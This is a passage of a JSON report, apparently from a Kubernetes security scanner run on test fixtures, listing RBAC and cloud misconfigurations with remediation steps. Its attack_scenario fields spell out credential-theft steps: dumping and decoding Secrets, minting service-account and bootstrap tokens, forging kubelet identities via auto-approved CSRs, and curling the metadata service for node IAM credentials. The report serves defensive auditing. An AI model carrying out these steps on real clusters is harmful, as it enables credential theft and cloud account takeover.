    "severity": "HIGH",
    "score": 9.839999999999998,
    "category": "data_exfiltration",
    "title": "Namespace `secrets-bundle-target` only list/watch access to Secrets enumerates every Secret on `ServiceAccount/secrets-bundle/cross-ns-reader`",
    "description": "Subject ServiceAccount/secrets-bundle/cross-ns-reader can `list` or `watch` core `secrets` via RoleBinding `secrets-bundle-target/cross-ns-secrets-read` → Role `secrets-bundle-target/secrets-reader`. Namespace `secrets-bundle-target` only.\n\nThe Kubernetes documentation is explicit that `list` and `watch` return Secret contents in the response body (they are not metadata-only verbs). Unlike `get` (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single `list` enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.\n\nKubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes `kube-system` ServiceAccount tokens, which are routinely cluster-admin-equivalent.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "secrets-reader",
      "namespace": "secrets-bundle-target",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "secrets-bundle-target",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `secrets-bundle-target` only"
    },
    "impact": "Namespace `secrets-bundle-target` only enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.",
    "attack_scenario": [
      "Attacker reaches ServiceAccount/secrets-bundle/cross-ns-reader (compromised pod, leaked kubeconfig, or stolen token).",
      "They run `kubectl get secrets -o yaml` in scope and base64-decode every `data` field, harvesting all Secrets in one request.",
      "They identify Secrets of type `kubernetes.io/service-account-token` (legacy) or call the TokenRequest API with harvested credentials.",
      "They replay the highest-privileged token against the API server (`kubectl --token=\u003cjwt\u003e get clusterrolebindings`).",
      "They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "secrets-bundle-target",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "namespace",
      "source_binding": "cross-ns-secrets-read",
      "source_binding_kind": "RoleBinding",
      "source_role": "secrets-reader",
      "source_role_kind": "Role",
      "verbs": [
        "get",
        "list"
      ]
    },
    "remediation": "Remove `list`/`watch` on `secrets` from this subject; if a specific Secret is genuinely needed, scope a `get` by `resourceNames` to that one name.",
    "remediation_steps": [
      "Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.",
      "If runtime access is required, drop `list` and `watch` entirely and scope a `get` rule by `resourceNames` to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.",
      "Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.",
      "Verify with `kubectl auth can-i list secrets --as=cross-ns-reader -n secrets-bundle-target` returning `no`.",
      "For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed `EncryptionConfiguration`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Good practices for Kubernetes Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets read",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Kubernetes — Encryption at Rest (KMS provider)",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/"
      },
      {
        "title": "Datadog Security Labs — Persistence via TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-CLOUD-IRSA-ADMIN-ROLE-001:cloud-eks-test:eks-admin-irsa",
    "rule_id": "KUBE-CLOUD-IRSA-ADMIN-ROLE-001",
    "severity": "HIGH",
    "score": 9.8,
    "category": "privilege_escalation",
    "title": "ServiceAccount bound to admin-flavored IAM role via IRSA",
    "description": "ServiceAccount cloud-eks-test/eks-admin-irsa is annotated with eks.amazonaws.com/role-arn=arn:aws:iam::123456789012:role/AdministratorAccess; the role name matches an admin pattern (admin-substring). Any pod using this SA receives an IRSA token that authenticates to AWS as that role.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "eks-admin-irsa",
      "namespace": "cloud-eks-test"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "eks-admin-irsa",
      "namespace": "cloud-eks-test"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "ServiceAccount cloud-eks-test/eks-admin-irsa and every pod that mounts it"
    },
    "evidence": {
      "arn": "arn:aws:iam::123456789012:role/AdministratorAccess",
      "matchedKeyword": "Administrator",
      "reason": "admin-substring",
      "sa": "cloud-eks-test/eks-admin-irsa"
    },
    "remediation": "Replace the admin role with a least-privilege IAM role scoped to the API actions the workload actually needs.",
    "excluded": false,
    "tags": [
      "module:cloud",
      "provider:eks",
      "check:irsaAdmin",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-037:ServiceAccount/nodeid-fixtures/nodeid-joiner::certificatesigningrequests/nodeclient",
    "rule_id": "KUBE-PRIVESC-037",
    "severity": "HIGH",
    "score": 9.8,
    "category": "privilege_escalation",
    "title": "`create certificatesigningrequests/nodeclient` lets `ServiceAccount/nodeid-fixtures/nodeid-joiner` obtain an auto-approved kubelet identity for any node",
    "description": "Subject ServiceAccount/nodeid-fixtures/nodeid-joiner can `create` `certificatesigningrequests` via ClusterRoleBinding `crb-nodeid-joiner` → ClusterRole `cr-nodeid-joiner` and `create` `certificatesigningrequests/nodeclient` via ClusterRoleBinding `crb-nodeid-joiner` → ClusterRole `cr-nodeid-joiner`.\n\nThe controller manager's CSR approving controller auto-approves a CSR for the `kubernetes.io/kube-apiserver-client-kubelet` signer when it names `system:node:\u003cname\u003e` in `system:nodes` and a SubjectAccessReview says the requester may `create certificatesigningrequests/nodeclient`. It does not compare the node name to the requester, nor check that the node exists. The holder of both grants therefore gets a signed kubelet client certificate for any node name it writes into the CSR, with no human approval.\n\nThe Node authorizer then grants that identity every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the named node, and a TokenRequest for the ServiceAccount of any such pod. Across node names that is every pod credential in the cluster. kubeadm binds this pair to `system:bootstrappers:kubeadm:default-node-token`, which is the designed use; any other holder is a copy of the bootstrap privilege.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-nodeid-joiner",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: the certificate names any node, and the Node authorizer grants that node's pod credentials"
    },
    "impact": "A kubelet client certificate for any node name, which the Node authorizer turns into the ServiceAccount tokens and referenced Secrets of every pod on that node. The privesc graph reports the resulting path as KUBE-PRIVESC-PATH-NODE-IDENTITY.",
    "attack_scenario": [
      "Attacker confirms the pair with `kubectl auth can-i create certificatesigningrequests --as=nodeid-joiner -A` and `kubectl auth can-i create certificatesigningrequests/nodeclient --as=nodeid-joiner -A`.",
      "They list nodes (or guess a name) and submit a kubelet client CSR for `system:node:\u003cnode\u003e`; the controller manager approves and signs it within seconds.",
      "With the certificate they request tokens for the ServiceAccounts of that node's pods and read the Secrets those pods reference, then repeat for a control-plane node to reach kube-system's controllers."
    ],
    "evidence": {
      "api_groups": [
        "certificates.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "certificatesigningrequests/nodeclient"
      ],
      "scope": "cluster",
      "source_binding": "crb-nodeid-joiner",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-nodeid-joiner",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from every identity other than the kubeadm bootstrap group, and alert on kubelet client CSRs whose requester is not a bootstrap token or the node itself.",
    "remediation_steps": [
      "Drop `create` on `certificatesigningrequests/nodeclient` from ServiceAccount/nodeid-fixtures/nodeid-joiner.",
      "Audit the binding set: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `Group system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on CSRs for `kubernetes.io/kube-apiserver-client-kubelet` whose `spec.username` is not `system:bootstrap:*` or `system:node:*`, and on approved CSRs naming a node that is not in `kubectl get nodes`.",
      "Verify with `kubectl auth can-i create certificatesigningrequests/nodeclient --as=nodeid-joiner -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: TLS bootstrapping (approval and the nodeclient subresource)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Kubelet TLS bootstrapping and certificate approval",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-007:ServiceAccount/lp-fixtures/sa-lp-wildcard:lp-fixtures:secrets",
    "rule_id": "KUBE-PRIVESC-007",
    "severity": "HIGH",
    "score": 9.6,
    "category": "privilege_escalation",
    "title": "Namespace `lp-fixtures` only `create`+`get` on Secrets mints a ServiceAccount token (`ServiceAccount/lp-fixtures/sa-lp-wildcard`)",
    "description": "Subject ServiceAccount/lp-fixtures/sa-lp-wildcard can both `create` Secrets (via RoleBinding `lp-fixtures/rb-lp-wildcard` → Role `lp-fixtures/r-lp-wildcard`) and `get` Secrets (via RoleBinding `lp-fixtures/rb-lp-wildcard` → Role `lp-fixtures/r-lp-wildcard`). Namespace `lp-fixtures` only.\n\nHeld together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`. The token controller observes the new Secret and populates its `data.token` field with a valid, long-lived JWT for that ServiceAccount. The attacker then `get`s the Secret back and reads the minted token.\n\nThis sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no `serviceaccounts/token` permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "r-lp-wildcard",
      "namespace": "lp-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `lp-fixtures` only"
    },
    "impact": "Mint and read a long-lived token for any ServiceAccount in Namespace `lp-fixtures` only by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.",
    "attack_scenario": [
      "Attacker confirms both verbs with `kubectl auth can-i create secrets --as=sa-lp-wildcard -n lp-fixtures` and `kubectl auth can-i get secrets --as=sa-lp-wildcard -n lp-fixtures`.",
      "They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).",
      "They create a Secret of type `kubernetes.io/service-account-token` annotated with `kubernetes.io/service-account.name: \u003ctarget-sa\u003e`.",
      "The token controller fills in `data.token`; the attacker `get`s the Secret and base64-decodes the JWT.",
      "They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "lp-fixtures",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "namespace",
      "source_binding": "rb-lp-wildcard",
      "source_binding_kind": "RoleBinding",
      "source_role": "r-lp-wildcard",
      "source_role_kind": "Role",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Do not grant `create` and `get` on `secrets` to the same subject; scope each by `resourceNames` and disable legacy token-Secret auto-population where possible.",
    "remediation_steps": [
      "Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.",
      "If Secret creation is required, scope it by `resourceNames` and never pair it with broad `get` on secrets.",
      "Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating `kubernetes.io/service-account-token` Secrets.",
      "Audit existing token Secrets: `kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token` and remove any that are not expected.",
      "Verify with `kubectl auth can-i create secrets --as=sa-lp-wildcard -n lp-fixtures` returning `no` for at least one of the two verbs."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Manage Service Account Tokens (legacy token Secrets)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#manual-secret-management-for-serviceaccounts"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-026:ServiceAccount/privesc-fixtures/sa-secret-mint::secrets",
    "rule_id": "KUBE-PRIVESC-026",
    "severity": "HIGH",
    "score": 9.5,
    "category": "privilege_escalation",
    "title": "Secret write reaching kube-system lets `ServiceAccount/privesc-fixtures/sa-secret-mint` mint a bootstrap token, and with it a kubelet identity for any node",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-secret-mint can `create`/`update`/`patch` `secrets` via ClusterRoleBinding `crb-secret-mint` → ClusterRole `cr-secret-mint`. Cluster-wide: applies to every current and future namespace. This cluster binds its bootstrap group to the kubelet client CSR auto-approval (`system:certificates.k8s.io:certificatesigningrequests:nodeclient`).\n\nA Secret of type `bootstrap.kubernetes.io/token` in kube-system is a credential: the bootstrap-token authenticator accepts `\u003cid\u003e.\u003csecret\u003e` as `system:bootstrap:\u003cid\u003e` in the groups the Secret's `auth-extra-groups` names. Writing such a Secret with the kubeadm bootstrap group listed mints a token that may submit a kubelet client CSR for any node name, which the controller manager auto-approves. The Node authorizer then grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node.\n\nA Secret write in kube-system is usually held by installers and backup tooling; here it is a node identity for the asking.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-secret-mint",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Mint a bootstrap token, trade it for a kubelet client certificate naming any node, and act as that node toward the API server: the ServiceAccount tokens and referenced Secrets of every pod on it. The privesc graph reports the resulting path as KUBE-PRIVESC-PATH-NODE-IDENTITY.",
    "attack_scenario": [
      "Attacker confirms the write with `kubectl auth can-i create secrets --as=sa-secret-mint -n kube-system`.",
      "They create a Secret of type `bootstrap.kubernetes.io/token` in kube-system that lists the kubeadm bootstrap group in `auth-extra-groups`.",
      "Authenticating with the token, they submit a kubelet client CSR for a node name of their choosing; the controller manager approves and signs it.",
      "With the certificate they request tokens for that node's pods' ServiceAccounts and read the Secrets those pods reference."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "cluster",
      "source_binding": "crb-secret-mint",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-secret-mint",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create",
        "get"
      ]
    },
    "remediation": "Keep Secret writes in kube-system to the control plane and the platform team, alert on new Secrets of type bootstrap.kubernetes.io/token, and expire or delete bootstrap tokens that are not in use.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `secrets` in kube-system from ServiceAccount/privesc-fixtures/sa-secret-mint, or scope the grant with `resourceNames` to the Secrets it manages.",
      "Alert on Secrets of type `bootstrap.kubernetes.io/token` that kubeadm did not create: `kubectl get secrets -n kube-system --field-selector type=bootstrap.kubernetes.io/token`.",
      "List and expire tokens that are not needed: `kubeadm token list` then `kubeadm token delete \u003cid\u003e`; node joins should mint a short-lived token per join.",
      "Alert on kubelet client CSRs naming a node that is not in `kubectl get nodes`.",
      "Verify with `kubectl auth can-i create secrets --as=sa-secret-mint -n kube-system` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Bootstrap tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:cloud-eks-test:imds-pivot-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "cloud-eks-test"
    },
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "cloud-eks-test/imds-pivot-app",
      "reason": "no-egress-policy",
      "sa": "cloud-eks-test/default",
      "workload": "Deployment/cloud-eks-test/imds-pivot-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:containersec-fixtures:containersec-image",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "containersec-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "containersec-image",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "containersec-fixtures/containersec-image",
      "reason": "no-egress-policy",
